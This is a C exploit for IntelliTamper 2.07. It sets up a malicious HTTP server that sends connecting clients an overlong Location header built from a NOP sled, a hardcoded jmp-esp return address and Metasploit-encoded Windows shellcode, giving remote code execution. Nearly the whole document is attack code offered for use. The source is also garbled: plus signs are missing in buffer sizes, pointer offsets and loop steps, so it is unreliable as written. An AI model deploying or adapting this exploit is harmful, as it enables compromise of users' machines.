IntelliTamper 2.07 HTTP Header Remote Code Execution Exploit

/**
    **
    ** IntelliTamper 2.07 Location: HTTP Header Remote Code Execution exploit.
    **
    ** Based on exploit by Koshi (written in Perl). This one should be more
    ** stable. Just for fun and to learn more about win32 exploitation.
    **
    ** by Wojciech Pawlikowski (wojtekp@gmail.com)
    **/
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #define BUFSIZE 1550
    #define NOP 0x90
    #define RETADDR 0x7c941EED // jmp esp ntdll.dll
    /* win32_exec - EXITFUNC=thread CMD=mspaint Size=336 Encoder=Alpha2 http://metasploit.com */
    unsigned char shellcode[] =
     "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
     "\x49\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x42"
     "\x58\x30\x42\x31\x50\x41\x42\x6b\x41\x41\x52\x41\x32\x41\x41\x32"
     "\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x6d\x39\x59\x6c\x69"
     "\x78\x41\x54\x75\x50\x77\x70\x45\x50\x6c\x4b\x73\x75\x55\x6c\x4e"
     "\x6b\x61\x6c\x33\x35\x54\x38\x55\x51\x7a\x4f\x4c\x4b\x70\x4f\x45"
     "\x48\x4c\x4b\x33\x6f\x67\x50\x45\x51\x4a\x4b\x43\x79\x6c\x4b\x34"
     "\x74\x4c\x4b\x47\x71\x6a\x4e\x64\x71\x6f\x30\x5a\x39\x6e\x4c\x4e"
     "\x64\x4f\x30\x30\x74\x45\x57\x79\x51\x6b\x7a\x74\x4d\x37\x71\x5a"
     "\x62\x4a\x4b\x5a\x54\x55\x6b\x31\x44\x71\x34\x55\x54\x71\x65\x4b"
     "\x55\x6c\x4b\x73\x6f\x61\x34\x45\x51\x78\x6b\x65\x36\x6c\x4b\x36"
     "\x6c\x50\x4b\x4e\x6b\x71\x4f\x57\x6c\x35\x51\x38\x6b\x4c\x4b\x77"
     "\x6c\x6e\x6b\x77\x71\x6a\x4b\x4c\x49\x71\x4c\x37\x54\x34\x44\x7a"
     "\x63\x54\x71\x39\x50\x61\x74\x6c\x4b\x43\x70\x46\x50\x4b\x35\x49"
     "\x50\x72\x58\x46\x6c\x6c\x4b\x47\x30\x36\x6c\x6c\x4b\x70\x70\x37"
     "\x6c\x4e\x4d\x4c\x4b\x65\x38\x46\x68\x7a\x4b\x64\x49\x4e\x6b\x4f"
     "\x70\x6e\x50\x77\x70\x77\x70\x45\x50\x6c\x4b\x70\x68\x37\x4c\x63"
     "\x6f\x64\x71\x49\x66\x73\x50\x31\x46\x6e\x69\x59\x68\x4b\x33\x69"
     "\x50\x51\x6b\x30\x50\x32\x48\x5a\x4f\x5a\x6e\x69\x70\x45\x30\x33"
     "\x58\x4c\x58\x6b\x4e\x4c\x4a\x76\x6e\x66\x37\x6b\x4f\x7a\x47\x30"
     "\x6d\x53\x43\x62\x50\x53\x51\x73\x59\x32\x4e\x33\x44\x45\x50\x42";
    int
    main(void)
    {
    struct sockaddr_in serv_sin, cli_sin;
    int i, sockfd, cli_sock, sock_opt = 1, sin_len;
    char *overflow, buf[BUFSIZE] = { 0 }, req[BUFSIZE 100] = { 0 };
    sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sockfd < 0)
    {
     perror("socket()");
     exit(-1);
    }
    serv_sin.sin_family = AF_INET;
    serv_sin.sin_port = htons(80);
    serv_sin.sin_addr.s_addr = INADDR_ANY;
    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &sock_opt, sizeof(int)) < 0)
    {
     perror("setsockopt()");
     close(sockfd);
     exit(-1);
    }
    if (bind(sockfd, (struct sockaddr *)&serv_sin, sizeof(struct sockaddr)) < 0)
    {
     perror("bind()");
     close(sockfd);
     exit(-1);
    }
    listen(sockfd, 1);
    sin_len = sizeof(struct sockaddr);
    printf("[*] Waiting for a connection...\n");
    while (1)
    {
     cli_sock = accept(sockfd, (struct sockaddr *)&cli_sin, &sin_len);
     if (cli_sock < 0)
     {
     perror("accept()");
     exit(-1);
     }
     printf("[ ] Connection from %s:%d\n", inet_ntoa(cli_sin.sin_addr), ntohs(cli_sin.sin_port));
     read(cli_sock, buf, sizeof(buf) - 1);
     overflow = (char *)malloc(BUFSIZE 1);
    
     for (i = 0; i <= 1540; i = 4)
     *(long *)&overflow[i] = RETADDR;
     for (i = 0; i < 1536; i )
     overflow[i] = NOP;
     memcpy(overflow 550, shellcode, strlen(shellcode));
     memcpy(overflow i 4, "\xe9\x14\xfc\xff\xff", 5); // jmp -1000 - jump to our buffer
     i = sprintf(req, "200 HTTP/1.1\r\nDate: 2008-07-24 20:14:31\r\nLocation: ");
     memcpy(req i, overflow, strlen(overflow));
     memcpy(req i strlen(overflow), "\r\n\r\n", 4);
     write(cli_sock, req, strlen(req));
     printf("[ ] Exploit sent!\n");
     close(cli_sock);
    }
    close(sockfd);
    }